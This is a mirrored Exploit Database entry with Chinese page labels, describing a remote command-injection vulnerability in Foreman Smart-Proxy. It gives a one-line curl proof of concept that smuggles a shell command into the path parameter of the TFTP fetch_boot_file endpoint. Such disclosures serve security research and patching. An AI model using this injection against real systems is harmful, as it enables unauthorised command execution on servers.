Foreman Smart-Proxy – Remote Command Injection

• Exploit Database
• 109 阅读

• 作者： Lukas Zapletal
  日期： 2014-06-05
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/39222/
• 1 2 3 4 5 6 7 8

  source: https://www.securityfocus.com/bid/68117/info   Foreman is prone to a remote command-injection vulnerability.   Successful exploits will result in the execution of arbitrary commands with the privileges of the user running foreman-proxy.   curl -3 -H "Accept:application/json" -k -X POST -d "dummy=exploit" 'https://www.example.com:8443/tftp/fetch_boot_file?prefix=a&path=%3Btouch%20%2Ftmp%2Fbusted%3B'